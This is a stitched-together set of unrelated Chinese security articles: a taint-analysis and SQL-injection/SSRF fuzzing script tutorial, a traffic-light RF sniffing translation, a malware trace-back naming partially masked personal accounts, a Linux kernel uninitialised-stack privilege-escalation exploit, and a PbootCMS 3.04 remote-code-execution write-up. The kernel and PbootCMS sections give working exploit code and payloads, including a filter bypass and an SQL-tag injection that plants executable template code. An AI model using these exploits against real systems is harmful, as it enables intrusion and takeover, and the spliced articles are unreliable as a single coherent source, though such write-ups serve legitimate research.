> 而直接传播到污点汇聚点.如果不能, 说明系统是信息流安全的; 否则, 说明系统产生了隐私数据泄露或危险数据操作等安全问题.
对于SQL注入这种漏洞，可以将污点分析的三元组实例化为下面三组内容：
source：Spring的接口入口点的参数
sink：jdbc的query方法
sanitizer：类似于Integer.value此类方法
* * *
### 代码编写
在检测类似于SQL注入类漏洞，我们需要的是跟踪调用链，所以需要使用的是`TrackVarIntoFun`函数
`TrackVarIntoFun`
参数1:起始类
参数2:起始方法
参数3:起始方法参数下标
参数4:目标方法的类
参数5:目标方法
参数6:目标方法的参数下标
返回值:执行流node数组
1. 起始类是我们需要分析的类，这里是`com/l4yn3/microserviceseclab/controller/IndexController`
2. 起始方法是入口方法，也是这个类下面的所有接口方法
3. 起始方法参数下标是要检测的入口参数下标
4. 目标方法类是jdbc，这里是`org/springframework/jdbc/core/JdbcTemplate`
5. 目标方法是query，jdbc查询数据的方法
6. 目标方法的参数下标是第一个参数，sql语句
返回值是一个node执行流数组，node包含次node所在的class和node的AST。
我们设置开头的包名，那如何获取所有的方法名呢？
`GetAllMethodName`可以获取所有的方法名称，但是这里有一个注意的地方是，如果方法名是`<init>和<cinit>`的需要跳过，因为这两个方法是构造方法和静态代码块。
node中的AST可以通过`GetJavaSentence`方法得到对应生成的java代码。
还有一点需要注意的是，`TrackVarIntoFun`方法只是跟踪流，只是到目标方法就停止，如果没有到目标方法就停止了那么也是会返回所有的执行流，所以这里我们需要自己进行过滤。
所以现在的思路已经完成，通过`GetAllMethodName`获取所有的方法，然后对方法中的第一个参数进行追踪，查看其最终流向的是否是jdbc，并且判断流动过程中是否有类似于`Integer.value()`方法的存在，如果不存在，那噩梦非常可能就是一条可以被污染的链条。
最终我们可以编写出如下代码：
#define filter1=String.valueOf(.*?)
#define filter2=Integer.valueOf(.*?)
function filter(sentence){
a = StrRe(sentence,filter1);
if(GetArrayNum(a) != 0){return 0;}
a = StrRe(sentence,filter2);
if(GetArrayNum(a) != 0){return 0;}
return 1;
}
function track(className,methodName){
array allNode;
allNode = TrackVarIntoFun(className,methodName,0,"org/springframework/jdbc/core/JdbcTemplate","query",0);
size = GetArrayNum(allNode);
if(StrFindStr(GetJavaSentence(allNode[ToInt(size-1)]),".query(",0) != "-1"){
i = 0;
print(methodName."参数流动:");
cc = 7;
cs = 1;
while(i < size){
sentence = GetJavaSentence(allNode[i]);
if(filter(sentence) == 0){cc = 5;cs = 5;printcolor("想办法绕过此类：",4);}
if(i == ToInt((size-1))){
if(cc != 5){cs = 2;cc = 3;}
}else{}
if(cc == 5){printcolor("[-]",6);}else{printcolor("[+]",1);}
printcolor(GetClassName(GetNodeClassName(allNode[i]))." ",cc);
printcolor(sentence.StrRN(),cs);
i = ToInt(i+1);
}
}
return 0;
}
function main(args){
className = "com/l4yn3/microserviceseclab/controller/IndexController";
methods = GetAllMethodName(className);
size = GetArrayNum(methods);
i = 0;
while(i < size){
if(methods[i] != "<init>"){track(className,methods[i]);
}
i = ToInt(i+1);
}
}
如果对cheetah语法不熟悉，那么可以到<https://github.com/Wker666/Demo中了解cheetah的详细语法，里面含有500+的渗透测试脚本可供学习。>
最终我们白盒审计可以打印出如下内容：
可以看到我们对没有过滤的调用链都进行了高亮显示，对有过滤的用红色进行显示。
## Step4 编写黑盒Fuzzer测试代码
### SQL注入检测函数
我们可以使用简单 or 1=1与or 1=2进行判断，为什么不能用and呢？因为我们没有默认值，所以需要通过or进行判断。
function judgeSQLI(api){
res = HttpGet(api,"");
res1 = HttpGet(api."%27%20or%201=1--+","");
if(GetStrLength(res1[0]) != GetStrLength(res[0])){
res2 = HttpGet(api."%27%20or%202=1--+","");
if(GetStrLength(res2[0]) == GetStrLength(res[0])){
return 1;
}
}
return 0;
}
如果你想要了解更多的cheetah编写sql注入的代码，可以看cheetah的GitHub，里面是有一个非常完整的SQL注入脚本代码的。
### 组成测试链接
因为Spring中使用大量注解进行设置，对于注解的解析，wJa提供了获取注解的方法。
1. `GetClassAnnotation`获取类注解
2. `GetClassMethodAnnotation`获取方法上的注解
3. `GetClassMethodArgAnnotation`获取参数上的注解
4. `GetAnnotationArgListValue`获取注解中list数据
5. `GetAnnotationArgSingValue`获取注解中的数据
通过上述的注解方法我们可以构造完整的测试链接，当然我们可以编写一个参数进行解析注解参数数据。
function getSpringAnnotationValue(an){
anSize = GetArrayNum(an);
i = 0;
while(i < anSize){
if(GetAnnotationName(an[i]) == "org/springframework/web/bind/annotation/RequestMapping"){
allValue = GetAnnotationArgListValue(an[i],"value");
return allValue[0];
}
if(GetAnnotationName(an[i]) == "org/springframework/web/bind/annotation/PostMapping"){
allValue = GetAnnotationArgListValue(an[i],"value");
return allValue[0];
}
if(GetAnnotationName(an[i]) == "org/springframework/web/bind/annotation/RequestParam"){
allValue = GetAnnotationArgSingValue(an[i],"value");
return allValue;
}
i = ToInt(i + 1);
}
return "";
}
根据Spring的的注解，我们得到路径中的某一个值。
因为我们已经开启了8080端口的javaWeb服务，所以可以直接进行拼接组合成测试链接。
## Step5 白盒+黑盒 自动化测试
有了白盒测试和黑盒测试的代码部分，我们可以进行组装拼接，当白盒测试代码发现没有过滤函数，并且最终进入了危险函数，那么我们就启动黑盒测试进行真正意义上的Fuzzer。
这里附带完整的 白盒+黑盒 自动化测试脚本。
#define filter1=String.valueOf(.*?)
#define filter2=Integer.valueOf(.*?)
function filter(sentence){
a = StrRe(sentence,filter1);
if(GetArrayNum(a) != 0){return 0;}
a = StrRe(sentence,filter2);
if(GetArrayNum(a) != 0){return 0;}
return 1;
}
function judgeSQLI(api){
res = HttpGet(api,"");
res1 = HttpGet(api."%27%20or%201=1--+","");
if(GetStrLength(res1[0]) != GetStrLength(res[0])){
res2 = HttpGet(api."%27%20or%202=1--+","");
if(GetStrLength(res2[0]) == GetStrLength(res[0])){
return 1;
}
}
return 0;
}
function track(className,methodName,url){
array allNode;
allNode = TrackVarIntoFun(className,methodName,0,"org/springframework/jdbc/core/JdbcTemplate","query",0);
size = GetArrayNum(allNode);
if(StrFindStr(GetJavaSentence(allNode[ToInt(size-1)]),".query(",0) != "-1"){
i = 0;
print(methodName."白盒测试调用链跟踪:");
cc = 7;
cs = 1;
while(i < size){
sentence = GetJavaSentence(allNode[i]);
noSan = filter(sentence);
if(noSan == 0){cc = 5;cs = 5;}
if(i == ToInt((size-1))){
if(cc != 5){cs = 2;cc = 3;}
}else{}
if(noSan == 0){
printcolor("[-]",6);printcolor("想办法绕过此类：",4);
}else{
printcolor("[+]",1);
}
printcolor(GetClassName(GetNodeClassName(allNode[i]))." ",cc);
printcolor(sentence.StrRN(),cs);
i = ToInt(i+1);
}
if(cc != 5){
printcolor("白盒测试发现此调用链可能存在漏洞，生成测试链接进行黑盒测试".StrRN(),7);
an = GetClassMethodAnnotation(className,methodName);
arg_an = GetClassMethodArgAnnotation(className,methodName,0);
argName = getSpringAnnotationValue(arg_an);
if(argName != ""){
api = url.getSpringAnnotationValue(an)."?".argName."=Wker";
if(judgeSQLI(api) == 1){
printcolor("[+]生成测试链接:".api." 测试存在SQL注入漏洞!".StrRN(),3);
}else{
printcolor("[-]生成测试链接:".api." 测试不存在SQL注入漏洞!请自行测试。".StrRN(),5);
}
}else{
printcolor("测试链接生成失败,error:未找到参数入口!".StrRN(),5);
}
}
}
return 0;
}
function getSpringAnnotationValue(an){
anSize = GetArrayNum(an);
i = 0;
while(i < anSize){
if(GetAnnotationName(an[i]) == "org/springframework/web/bind/annotation/RequestMapping"){
allValue = GetAnnotationArgListValue(an[i],"value");
return allValue[0];
}
if(GetAnnotationName(an[i]) == "org/springframework/web/bind/annotation/PostMapping"){
allValue = GetAnnotationArgListValue(an[i],"value");
return allValue[0];
}
if(GetAnnotationName(an[i]) == "org/springframework/web/bind/annotation/RequestParam"){
allValue = GetAnnotationArgSingValue(an[i],"value");
return allValue;
}
i = ToInt(i + 1);
}
return "";
}
function main(args){
className = "com/l4yn3/microserviceseclab/controller/IndexController";
an = GetClassAnnotation(className);
classPath = "http://127.0.0.1:8080".getSpringAnnotationValue(an);
methods = GetAllMethodName(className);
size = GetArrayNum(methods);
i = 0;
while(i < size){
if(methods[i] != "<init>"){track(className,methods[i],classPath);
}
i = ToInt(i+1);
}
}
让我们运行一下，看一下最终执行的结果：
可以看到我们最终找到了两处白盒与黑盒完全符合要求的调用链，这样子的调用链是有极大可能存在漏洞的。
## 优化
在上述的代码脚本中，其实还是有可优化的的地方的，当程序项目比较大时，类就无法通过手动输入进行测试，所以可以通过`GetAllClassName`类进行测试，所以可以进行如此优化。
function SQLTrack(className){
an = GetClassAnnotation(className);
classPath = "http://127.0.0.1:8080".getSpringAnnotationValue(an);
methods = GetAllMethodName(className);
size = GetArrayNum(methods);
i = 0;
while(i < size){
if(methods[i] != "<init>"){track(className,methods[i],classPath);}
i = ToInt(i+1);
}
return 0;
}
function main(args){
allClass = GetAllClassName();
size = GetArrayNum(allClass);
i = 0;
while(i < size){
an = GetClassAnnotation(allClass[i]);
p = getSpringAnnotationValue(an);
if(p != ""){
SQLTrack(allClass[i]);
}
i = ToInt(i + 1);
}
}
而且也可以观察到，脚本已经非常的大了，所以有一点臃肿了，之后我会将Spring的常用函数全部编写成工具文件，直接使用`#include`就可以直接包含进来常用的方法。
## 更复杂的调用链
这里我们更换一个靶场，使用一个朋友的靶场，下面是Spring的项目结构：
相同的，我们同样运行之前写好的SQL注入漏洞脚本，我们可以看到如下的结果：
仔细观察调用链你会发现一件很有意思的事情。
首先先手动分析一下这条路径的真正执行流：
return this.sqliDao.addUser(name,age);
这里注意sqliDao这个属性变量，当你看这个变量类型时，你会发现他是一个接口：
private final SQLIDao sqliDao;
//_ ____ ____ _ __
//| | / / /_____ _____ / __ \___ _________ ____ ___ ____ (_) /__
//| | /| / / //_/ _ \/ ___/ / / / / _ \/ ___/ __ \/ __ `__ \/ __ \/ / / _ \
//| |/ |/ / ,< / __/ / / /_/ / __/ /__/ /_/ / / / / / / /_/ / / / __/
//|__/|__/_/|_|\___/_/ /_____/\___/\___/\____/_/ /_/ /_/ .___/_/_/\___/
// /_/
package org.sec.cidemo.dao;
public interface SQLIDao{
public abstract List selectUser(){
}
public abstract String addUser(){
}
}
但最终为何我们还是可以跟踪出真正的调用链呢？
实际上wJa会帮我们进行特定于java的分析，并且可以自动分析子类对象和实现类是否进入危险函数。
看wJa的调用链第三条可以看到，当前处于：`SQLIDaoImpl.selectUser`
跳转到此方法：
public class SQLIDaoImpl implements SQLIDao
...
public List selectUser(String name){
String sql;
List users;
System.out.println(name);
sql = new StringBuilder().append("select * from t_user where name='").append(name).append("'").toString();
users = this.jdbcTemplate.query(sql,new BeanPropertyRowMapper(User.class));
return users;
}
...
发现正是这个实现类存在注入漏洞。
并且仔细观察可以看到，wJa还可以帮助我们进行变量转换跟踪。
其实实际上jdbc最终调用的是sql这个变量，并不是name，wJa可以自动追加追踪接受追踪变量的变量。
## SSRF漏洞分析
我们这里主要跟踪SSRF漏洞，相比于SQL注入漏洞，我们要对目标进入函数和黑盒测试代码进行修改。
url = new URL(data);
con = url.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent","Mozilla/5.0");
in = new BufferedReader(new InputStreamReader(con.getInputStream()));
这里可以通过进入BufferedReader的构造方法来判断是否是SSRF，但是更安全的是如果路径存在URL类，那么就可以基本判断是存在SSRF漏洞。
对于黑盒测试代码可以通过传递百度的地址进行关键字判断。
function judgeSSRF(api){
res = HttpGet(api."http://www.baidu.com","");
if(StrFindStr(res[0],"//www.baidu.com/",0) != "-1"){
return 1;
}
return 0;
}
其余的代码都是进行小幅度更改，但是需要注意的是，构造函数是`<init>`。
最终可以得到如下：
~工作顺利 | 社区文章 |
# 使用电视棒监听信号灯指令（后续可控制信号灯）
|
##### 译文声明
本文是翻译文章，文章来源：刘健皓@360安全播报
原文地址：<http://www.bastibl.net/traffic-lights/>
译文仅供参考，具体内容表达以及含义原文为准。
在米帝国的一些马路上，随处可见有一些交通信号灯是有这样的天线的。通过天线的架构可以分析得出，信号灯很显然是通过RF来下发指令进行控制的。下面我们使用SDR设备来分析一下这个信号灯。
我曾经听说交通信号灯的传输距离是2米。我在这个有效传输范围内使用电视棒+GQRX软件对交通信号灯的中心频率进行分析，发现他们在170
mhz中心频率左右的有两个条独立运作的两对交通信号灯指令。这就是控制信号灯的射频指令。
跟以往一样我们使用FM调制解技术使用带宽约18khz，使用Baudline和Audacity，对信号进行分析。可以发现一些有规律的曲线。这些曲线与红绿灯的控制有关。很容易看出来这是使用了
**AFSK** 1200（https://en.wikipedia.org/wiki/Frequency-shift_keying#Audio_FSK）在1200HZ 和 2400HZ之间交替的射频信号。
然后我使用了GNU Radio构造了一个简单的框图，把信号灯输出的信号转换成二进制帧的格式，进行呈现。
转换成二进制后对数据进行分析，发现了一些有意思的规律。
然后利用这些数据接做了一个非常丑陋的web可视化界面，可以清楚的呈现红绿灯的内容。
**
编者的话：这个作者很偶然的发现了一台使用射频控制指令的交通信号灯。一般国内是没有这样的信号灯的。并且使用低成本SDR解决方案还原出来信下发控制信号灯指令。在对RF射频频谱分析的前提之上，作者完全可以使用HACK-RF这样的射频设备，发送控制信号灯的指令。从而接管信号灯的控制权限，这样警察叔叔再也不怕我闯红灯了。**
**
**
视频大家自己翻墙出去看吧，如果我们这里可以上传了会及时在此页播放的：<https://www.youtube.com/watch?v=1hb10T3aP4g> | 社区文章 |
# 【技术分享】360天眼实验室：揭密小黑系列——SSL劫持木马的追踪溯源
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**引子**
人在做，天在看！
为了应对网络劫持，各大网站都开始启用https协议，使得靠劫持http网站闷声发大财的灰产、黑产们坐不住了，一直在寻找劫持https网站的好用方法。日常工作当中，360互联网安全中心发现了能够劫持https网站的恶意软件样本，该类样本不仅仅将常用的一些网站劫持到特定的网址导航站，还会与安全软件进行对抗。
**分析**
在中恶意软件的机器中，我们发现了二个可疑文件。一个名为“bbgeccv6”的驱动文件和一个名为“yyqg.dll”的动态库文件。
文件HASH值如下：
MD5: 62B58CF5BC11B7FC8978088953A7C6FD_ bbgeccv6
MD5: 2F2963BC8B9D0E1CC14601D61222EC77_ yyqg.dll
其中，“bbgeccv6”（文件名随机，HASH不变）负责启动、自我保护等工作，“yyqg.dll”负责注入winlogon.exe、下发控制指令给“bbgeccv6”。
通过360互联网安全中心的安全大数据，对这二个样本进关联分析，我们找到了原始样本——“快赞助手–QQ名片赞空间人气”，并通过官网下载了其最新版本。
“快赞助手刷QQ名片赞空间人气v2.5.0.exe”使用易语言编写，带有UPX壳。程序在运行起来之后，会向%windir%目录下释放并加载
“bbgeccv6”的随机文件名驱动文件和 “yyqg.dll”的动态库文件。
其中”yyqg.dll”使用了”BlackBone”的开源代码，该动态库被加载后会注入winlogon.exe。
”yyqg.dll”会向”dns.5**7.me”请求TXT记录，返回最新云控服务器信息。
通过事先协商好的方法与请求回来的云控服务器拼接出链接，我们发现了该域名下的hijack列表——明文、正则表达式。
打开浏览器，随便选择一条能匹配正则表达式的例子，比如hao.360.cn进行测试，最终会跳转到http://www.hao774.com/?38133这个域名，而hao774.com这个域名刚最终跳转到2345网址导航站。
该劫持列表名单，基本上主流的网址导航站、购物网站均被覆盖了。
为了避免陷入死循环，在样本中我们还看到了white名单，符合该名单列表的则不进行劫持跳转，如下图所示。
而“bbgeccv6”的随机文件名驱动文件，使用了比较成熟稳定的收费源码SDK进行开发。由于该SDK的API及DEMO在网上有公开，就不作深入的详细分析，感兴趣的可以自行分析查找该SDK。从互联网上搜到的公开信息来看，利用该套成熟源码方案的恶意软件，从2014年就已经开始出现了，大概2016年开始在中国进行推广，而且有不同编码风格的样本出现，应该已经在地下黑产圈子里面流传了一阵子。
**溯源**
一般样本分析都是开味小菜，通过对样本分析进行追溯，关联到具体的人员才是本篇文章的重头大戏。
首先，我们知道该样本的上线服务器域名为“dns.54***.me”，可以查得如下WHOIS信息，如下图所示。
通过支付宝可以查到“774***[email protected]”如下信息，点击验证姓名，输入“冯”，正好可以和注册人的拼音对上，且使用注册人电话17190***70同样能找到该支付宝账号。
QQ信息显示如下：
通过搜索引擎查找QQ号，我们找到了如下关联：
通过360威胁情报中心查询，可以发现pay.1****.la与www.4****.la曾经在同一个221.***.***.155的IP上面解析过，如下图所示。
然而pay.11***.la与www.4****.la这二个网站的WHOIS并不能给我们提供太多可用信息，溯源似乎又陷入了僵局。
回到最初的“dns.5****.me”域名，该域名存在“h.5****.me”子域名，曾解析到123.***.***.139这个IP上，而且该IP上还存在“h.q***.cc”这个为更新劫持名单(hijack)及白名单(white)而准备的域名，以及存在一个“hao.xi***z.com”的域名。如下图所示。
其中，“h.q***.cc”和“hao.xi***z.com”这二个域名的WHOIS信息显示，注册人邮箱均为“d******@qq.com”。
“hao.xixi****.com”曾在
“139.***.***.170”和“58.***.***.51”这二个IP上解析过，与此同时，“2k***.com”也在上述二个IP上解析过。
尤其是58.***.***.51这个IP上，有众多域名交叉的出现，使得我们的溯源一下子就是豁然开朗了。通过360威胁情报中心高级可视化分析，可以看到如下的关系图。
通过查看该关联图，du****.com也能与du****@qq.com关联上了。而du****.com的WHOIS信息显示注册人邮箱为751*******@qq.com。
通过搜索引擎，可以查到QQ751****2的一些历史发贴，比如这个ID为“xix**z”的，收购网络代理，这与“hao.xix**z.com”的域名也是能够对应上的。
而在另外一个早期的贴子中，我们则看到了该作者早期公布的某游戏外挂源码模块。该论坛注册的ID为6456332，如下图所示。
18****.com的WHOIS信息显示注册人邮箱为7518********[email protected]，我们猜测645******为其QQ大号，7518********2为其QQ小号。使用QQ645******作为关键词，我们找到广海社区论坛，在其个人信息处可以看到关联的信息，如下图所示。
通过751*******[email protected]可以查到其支付宝信息，根据WHOIS信息中的注册人姓氏，随手猜了“王”姓，居然一击即中，看来这个团伙搞黑产一点都不专业啊。
从易语言论坛来看，作者从2010年就开始学习易语言，并成为了易语言的正版用户，同时长期活跃在易语言论坛、精易论坛、广海社区、千明论坛等与易语言、外挂相关的论坛中。
求购QQ群蠕虫类恶意软件源码。
早些年在千脑云电脑上提供下载的各类外挂辅助软件。
基本上到这儿，这个黑产团伙的组织架构已经比较清晰了，该团伙从2011年开始就研发各类外挂辅助类工具，至今没有停手，且使用的手段也越来越恶劣了。
整个追踪溯源就此告一段落，后续的活留给感兴趣的人员去做吧。
最后，以“人在做，天在看”收尾！ | 社区文章 |
说明：实验所需的驱动源码、bzImage、cpio文件见[我的github](https://github.com/bsauce/kernel_exploit_series)进行下载。本教程适合对漏洞提权有一定了解的同学阅读，具体可以看看我先知之前的文章，或者[我的简书](https://www.jianshu.com/u/a12c5b882be2)。
# 一、 漏洞分析
### 1\. 程序分析
总共两个驱动号，对应两个功能。
case UNINITIALISED_STACK_ALLOC:
{
ret = copy_to_stack((char *)p_arg);
break;
}
case UNINITIALISED_STACK_USE:
{
use_obj_args use_obj_arg;
if(copy_from_user(&use_obj_arg, p_arg, sizeof(use_obj_args)))
return -EINVAL;
use_stack_obj(&use_obj_arg);
break;
}
第1个功能->UNINITIALISED_STACK_ALLOC
// 布置内核栈: 能往内核栈上传入4096字节的数据
#define BUFF_SIZE 4096
noinline static int copy_to_stack(char __user *user_buff)
{
int ret;
char buff[BUFF_SIZE];
ret = copy_from_user(buff, user_buff, BUFF_SIZE);
buff[BUFF_SIZE - 1] = 0;
return ret;
}
第2个功能-> UNINITIALISED_STACK_USE
// 使用内核栈: 初始化内核栈数据
noinline static void use_stack_obj(use_obj_args *use_obj_arg)
{
volatile stack_obj s_obj; //volatile表示要求编译器不要对该变量作任何优化
if(use_obj_arg->option == 0)
{
s_obj.fn = uninitialised_callback;
s_obj.fn_arg = use_obj_arg->fn_arg;
}
s_obj.fn(s_obj.fn_arg);
}
// 结构
typedef struct stack_obj
{
int do_callback;
long fn_arg;
void (*fn)(long);
char buff[48];
}stack_obj;
typedef struct use_obj_args
{
int option;
long fn_arg;
}use_obj_args;
### 2\. 漏洞分析
漏洞：只有`(use_obj_arg->option == 0)`时，才会初始化stack_obj对象。
利用：构造`(use_obj_arg->option !=
0)`，产生内核栈变量未初始化引用错误。本驱动其实简化了漏洞利用过程，因为可以直接利用驱动号UNINITIALISED_STACK_ALLOC来布置内核栈，不需要考虑用系统调用来布置。
* * *
# 二、 漏洞利用
### 1\. 利用步骤
完整代码见`exp_uninitialised_stack.c`。
##### （1）单核执行
//step 1: 让程序只在单核上运行，以免只关闭了1个核的smep，却在另1个核上跑shell
void force_single_core()
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0,&mask);
if (sched_setaffinity(0,sizeof(mask),&mask))
printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
return;
}
##### （2）泄露内核基址
// step 2: 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak，再读出来
pid_t pid=fork();
if (pid==0){
do_page_fault();
exit(0);
}
int status;
wait(&status); // 等子进程结束
//sleep(10);
printf("[+] Begin to leak address by dmesg![+]\n");
size_t kernel_base = get_info_leak()-sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+] \n", kernel_base);
##### （3）关闭smep
利用`UNINITIALISED_STACK_ALLOC`功能在内核栈上布置目标函数和所需参数，这样在发生栈变量未初始化使用时就会触发执行目标函数。
// step 3: 关闭smep
char buf[4096];
memset(buf, 0, sizeof(buf));
struct use_obj_args use_obj={
.option=1,
.fn_arg=1337,
};
for (int i=0; i<4096; i+=16)
{
memcpy(buf+i, &fake_cr4, 8); // 注意是fake_cr4所在地址
memcpy(buf+i+8, &native_write_cr4_addr, 8); // 注意是native_write_cr4_addr所在地址
}
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
##### （4）提权—`commit_creds(prepare_kernel_cred(0))`
// step 4: 提权，执行get_root(); 注意是把get_root()的地址拷贝过去，转一次
size_t get_root_addr = &get_root;
memset(buf, 0, sizeof(buf));
for (int i=0; i<4096; i+=8)
memcpy(buf+i, &get_root_addr, 8);
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
##### （5）返回shell
// step 5: 获得shell
if (getuid()==0)
{
printf("[+] Congratulations! You get root shell !!! [+]\n");
system("/bin/sh");
}
### 2\. 利用结果
成功提权：
### 参考：
<https://invictus-security.blog/2017/06/>
<https://github.com/invictus-0x90/vulnerable_linux_driver> | 社区文章 |
# PbootCms-3.04前台RCE挖掘过程
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文记录了针对PbootCms V3.04前台RCE的挖掘过程，文章很早之前就写了，由于该CMS前几天才做了修复，所以将挖掘过程分享出来
## 漏洞挖掘
在审计PbootCms之前，首先对于现有的一些思路进行了一些梳理，主要阅读了如下两篇文章
<https://xz.aliyun.com/t/8321>
<https://xz.aliyun.com/t/8663>
第一篇是我在去年第一次审计该CMS所写，该处问题主要是后台的配置值设置为if标签时，访问前台时模版会对标签进行解析，执行代码，而第二篇的思路更为广泛和灵活，在这里也是学到了前台RCE的一些姿势，后面的挖掘过程也是借鉴了第二篇文章的某些思路。
接着直接来看代码，首先目标仍然是解析if标签的代码块，看一下三个正则
/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/
/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i
/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i
相对于上一个版本来说，第三条正则多了`(\([\w\s\.]+\))`如图
这里猜想开发者是想禁止if标签中条件代码段中的小括号存在内容，但是经过测试xxx(“xxx”)这样的形式可以无视正则并不影响我们的代码执行，现在假如我们可以直接编辑模版，以执行system函数为目标，来研究一下如何执行代码；
为了绕过system的正则校验，可以使用如下方式绕过
strrev('metsys')('whoami');
那么很容易想到使用如下payload测试
{pboot:if(1) strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
测试之后会发现并不能执行，因为无法绕过第二条正则，我们可以通过简单的输出来打印下程序在进行安全校验的情况
可以看到在这里较验到了strrev是一个已定义的函数，所以语句被拦截，接着我们来尝试在strrev前面加上一些字符查看一下情况
{pboot:if(1) xxx strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
可以看到出现了eval执行错误的信息，这说明我们成功绕过了校验，eval执行了我们输入的内容，只不过当前内容执行时报出了错误，那么接下来的目标就很明确了，我们需要寻找一个可以代替xxx的内容，使eval执行不会报错；经过搜索我发现了这样一条内容
简单来测试一下
果然符合我们的要求，尝试如下payload
{pboot:if(1) echo strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
成功执行了system函数，后来经过思考和测试，其实使用注释也是可以的，如下
{pboot:if(1) /*y*/ strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
但是光是这样执行命令是不够的，我们需要寻找到一处用户可控的点来解析if标签，在上面的参考文章中我们易得在前台搜索功能处可以解析我们输入的if标签，并且对于pboot[@if](https://github.com/if
"@if")的替换可以使用`{pboot{user:password}:if`这样的形式绕过，但是在该版本中移除了decode_string函数，在标签解析时单双引号是编码过的，无法正常解析，然而从前面的分析知道我们目前的利用方式需要使用但双引号来绕过第二个正则的校验，所以目前为止在前台搜索处我们暂时是无法利用的，所以我们需要寻找一下是否存在其他的利用方式，与我们目前所掌握的条件配合来进行利用。
在翻看cms更新日志的时候我发现了这样一条描述
程序新增加了解析sql的标签，这就意味着我们可能在前台利用搜索功能，执行我们想要的sql语句，这时一条利用链初步浮现在我的脑海里；我们知道在以前的版本中可以使用在后台配置处插入我们的标签语句，最终语句是存储在数据库中的，假如我们可以利用前台搜索功能执行sql语句，将标签插入到数据库中，就可以跨过后台配置功能直接RCE，那么目前我们面临着两个问题需要弄清楚；
1.标签该写在哪张表的那个字段
2.前台搜索功能处如何能执行我们的sql语句
首先第一个问题很好解决，在之前的版本中我们是在站点信息的尾部信息处来写入标签，对应的是`ay_site`表中的`copyright`字段，那么我们写入标签的语句初步为
update ay_site set copyright= (标签的16进制，避免引号) where id = 1;
接着我们查看一下解析sql标签的代码
// 解析自定义SQL循环
public function parserSqlListLabel($content)
{
$pattern = '/\{pboot:sql(\s+[^}]+)?\}([\s\S]*?)\{\/pboot:sql\}/';
$pattern2 = '/\[sql:([\w]+)(\s+[^]]+)?\]/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
// 获取调节参数
$params = $this->parserParam($matches[1][$i]);
if (! self::checkLabelLevel($params)) {
$content = str_replace($matches[0][$i], '', $content);
continue;
}
$num = 1000; // 最大读取1000条
$sql = '';
foreach ($params as $key => $value) {
switch ($key) {
case 'num':
$num = $value;
break;
case 'sql':
$sql = $value;
break;
}
}
// 特殊表不允许输出
if (preg_match('/ay_user|ay_member/i', $sql)) {
$content = str_replace($matches[0][$i], '', $content);
continue;
}
// 判断是否有条数限制
if ($num && ! preg_match('/limit/i', $sql)) {
$sql .= " limit " . $num;
}
// 读取数据
if (! $data = $this->model->all($sql)) {
$content = str_replace($matches[0][$i], '', $content);
continue;
}
// 匹配到内部标签
if (preg_match_all($pattern2, $matches[2][$i], $matches2)) {
$count2 = count($matches2[0]); // 循环内的内容标签数量
} else {
$count2 = 0;
}
$out_html = '';
$pagenum = defined('PAGE') ? PAGE : 1;
$key = ($pagenum - 1) * $num + 1;
foreach ($data as $value) { // 按查询数据条数循环
$one_html = $matches[2][$i];
for ($j = 0; $j < $count2; $j ++) { // 循环替换数据
$params = $this->parserParam($matches2[2][$j]);
switch ($matches2[1][$j]) {
case 'n':
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key) - 1, $one_html);
break;
case 'i':
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key), $one_html);
break;
default:
if (isset($value->{$matches2[1][$j]})) {
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $value->{$matches2[1][$j]}), $one_html);
}
}
}
$key ++;
$out_html .= $one_html;
}
$content = str_replace($matches[0][$i], $out_html, $content);
}
}
return $content;
}
其中有一处安全过滤
sql语句不允许对`ay_user`与`ay_member`两个表进行操作，但是不影响我们写标签到数据库；接着看该段代码，其中的重点在`$this->parserParam($matches[1][$i]);`，跟进该方法
我们打印一下解析后的内容，使用如下标签来测试
{pboot:sql sql=update ay_site set copyright= 0x68656c6c6f where id = 1;#}11{/pboot:sql}
语句没有被正确的解析出来，仔细查看源码应该是被分割语句的正则匹配到了，尝试将空格替换成注释
{pboot:sql sql=update/**/ay_site/**/set/**/copyright=/**/0x68656c6c6f/**/where/**/id/**/=/**/1;#}11{/pboot:sql}
成功解析到我们想要的语句，去前台执行一下
数据库中内容成功进行了更新，把hello换成我们的标签语句
{pboot:sql sql=update/**/ay_site/**/set/**/copyright=/**/0x67b70626f6f747b757365723a70617373776f72647d3a69662831296563686f2073747272657628276d6574737973272928276c7327293b2f2f297d79376d3031697b2f70626f6f747b757365723a70617373776f72647d3a69667d/**/where/**/id/**/=/**/1;#}11{/pboot:sql}
接着访问首页
成功的执行了system函数
## 总结
